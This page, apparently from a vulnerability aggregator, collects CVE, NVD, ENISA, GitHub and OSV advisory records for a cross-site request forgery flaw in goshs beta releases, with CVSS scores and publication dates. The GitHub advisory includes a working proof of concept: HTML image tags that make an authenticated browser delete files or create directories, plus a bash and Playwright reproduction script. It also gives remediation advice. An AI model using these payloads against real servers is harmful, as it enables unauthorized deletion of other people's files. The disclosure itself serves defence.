goshs: CSRF in state-changing GET routes enables authenticated file deletion and directory creation

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. This vulnerability is fixed in 2.0.0-beta.6.

Source published

21 Apr 2026 19:35:37 UTC

Source modified

21 Apr 2026 20:36:13 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 6.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. This vulnerability is fixed in 2.0.0-beta.6.

Source published

Apr 21, 2026, 7:35:37 PM (timezone not stated)

Source modified

Apr 21, 2026, 8:36:13 PM (timezone not stated)

Observed here

7 Nov 2026 09:27:03 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 6.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. This vulnerability is fixed in 2.0.0-beta.6.

Source published

21 Apr 2026 20:17:01 UTC

Source modified

26 Oct 2026 00:10:00 UTC

Observed here

27 Oct 2026 10:10:07 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 6.1 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

### Summary goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`. ### Details The vulnerable request handling is reachable through normal GET requests: - `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()` - `httpserver/handler.go:180-186` dispatches `?delete` directly to `deleteFile()` Authentication is enforced only by HTTP basic auth: - `httpserver/middleware.go:20-87` accepts any request that presents valid cached or replayed basic-auth credentials The resulting state changes hit filesystem mutation sinks: - `httpserver/handler.go:683-718` calls `os.RemoveAll()` in `deleteFile()` - `httpserver/handler.go:961-1000` calls `os.MkdirAll()` in `handleMkdir()` Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed: - `<img src="http://127.0.0.1:18095/victim.txt?delete">` - `<img src="http://127.0.0.1:18095/csrfmade?mkdir">` If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem. ### PoC Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt cat > /tmp/goshs_csrf_site/delete.html <<'HTML' <!doctype html> <html> <body> <img src="http://127.0.0.1:18095/victim.txt?delete"> </body> </html> HTML cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML' <!doctype html> <html> <body> <img src="http://127.0.0.1:18095/csrfmade?mkdir"> </body> </html> HTML /tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p' ``` `Terminal 2` ```bash python3 -m http.server 18889 --directory /tmp/goshs_csrf_site ``` Victim actions: 1. Open `http://127.0.0.1:18095/` in a browser and authenticate with `u:p`. 2. Visit `http://127.0.0.1:18889/delete.html`. 3. Visit `http://127.0.0.1:18889/mkdir.html`. Two terminal commands I ran during local validation: ```bash test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING ``` Expected result: - the first check prints `DELETED` - the second check prints `CREATED` PoC Video 1: https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3' ``` Observed script result: - `Delete status: DELETED` - `mkdir status: CREATED` - `[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET` PoC Video 2: https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede `gosh_poc3` script content: ```bash #!/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' PLAY_DIR='/tmp/codex-playwright' BIN='/tmp/goshs_beta5_csrf' PORT='18095' ATTACKER_PORT='18889' CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)" ROOT="$WORKDIR/root" SITE="$WORKDIR/site" GOSHS_PID="" ATTACKER_PID="" cleanup() { if [[ -n "${ATTACKER_PID:-}" ]]; then kill "${ATTACKER_PID}" >/dev/null 2>&1 || true fi if [[ -n "${GOSHS_PID:-}" ]]; then kill "${GOSHS_PID}" >/dev/null 2>&1 || true fi } trap cleanup EXIT mkdir -p "$ROOT" "$SITE" printf 'delete me\n' > "$ROOT/victim.txt" cat > "$SITE/delete.html" <<HTML <!doctype html> <html> <body> <img src="http://127.0.0.1:${PORT}/victim.txt?delete"> </body> </html> HTML cat > "$SITE/mkdir.html" <<HTML <!doctype html> <html> <body> <img src="http://127.0.0.1:${PORT}/csrfmade?mkdir"> </body> </html> HTML echo "[1/6] Building goshs beta.5" (cd "$REPO" && go build -o "$BIN" ./) echo "[2/6] Starting goshs with HTTP basic auth" "$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 & GOSHS_PID=$! for _ in $(seq 1 40); do if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then break fi sleep 0.25 done echo "[3/6] Serving attacker pages" python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 & ATTACKER_PID=$! if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then mkdir -p "$PLAY_DIR" (cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null) fi if [[ ! -x "$CHROME" ]]; then echo "[ERROR] Chrome not found at $CHROME" >&2 exit 1 fi echo "[4/6] Visiting attacker pages from an authenticated browser" node - <<'NODE' const { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core'); (async () => { const browser = await chromium.launch({ headless: true, executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome', }); const context = await browser.newContext({ httpCredentials: { username: 'u', password: 'p' }, }); const page = await context.newPage(); await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' }); await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' }); await page.waitForTimeout(1200); await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' }); await page.waitForTimeout(1200); await browser.close(); })(); NODE echo "[5/6] Verifying impact" DELETE_STATUS="MISSING" MKDIR_STATUS="MISSING" if [[ ! -e "$ROOT/victim.txt" ]]; then DELETE_STATUS="DELETED" fi if [[ -d "$ROOT/csrfmade" ]]; then MKDIR_STATUS="CREATED" fi echo "[6/6] Results" echo "Delete status: $DELETE_STATUS" echo "mkdir status: $MKDIR_STATUS" if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET' else echo '[RESULT] NOT REPRODUCED' exit 1 fi ``` ### Impact This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated. ### Remediation Suggested fixes: 1. Move all state-changing functionality such as `delete` and `mkdir` off GET routes and require non-idempotent methods such as `POST` or `DELETE`. 2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict `Origin` and `Referer` validation. 3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.

Source published

14 Apr 2026 22:28:44 UTC

Source modified

25 Jun 2026 23:11:34 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · MODERATE

goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation in github.com/patrickhener/goshs

Source published

25 Jun 2026 22:34:31 UTC

Source modified

25 Jun 2026 23:01:15 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.